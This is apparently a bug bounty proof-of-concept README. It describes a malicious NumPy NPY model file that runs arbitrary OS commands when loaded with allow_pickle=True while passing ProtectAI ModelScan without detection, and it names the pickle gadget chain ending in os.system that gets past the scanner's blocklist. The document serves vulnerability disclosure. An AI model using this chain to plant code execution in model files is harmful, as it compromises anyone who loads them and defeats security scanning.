NPY ACE Scanner Bypass PoC
Huntr Bug Bounty - Model File Formats (NPY / ProtectAI ModelScan)
bypass_v5.npy is a 271-byte malicious NumPy NPY file that:
- Executes arbitrary OS commands via np.load(allow_pickle=True)
- Passes ProtectAI ModelScan v0.8.8 NumpyUnsafeOpScan with zero detections (total_issues: 0, exit 0)
Reproduce
Load the file with numpy:
import numpy as np
data = np.load('bypass_v5.npy', allow_pickle=True)
# ACE fires on load
Scanner Bypass
modelscan scan -p bypass_v5.npy -r json
# result: total_issues=0, issues=[], exit 0
Gadget Chain
importlib.import_module -> builtins.vars -> operator.getitem -> os.system
None of these GLOBALs appear on ModelScan's NumpyUnsafeOpScan blocklist.
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support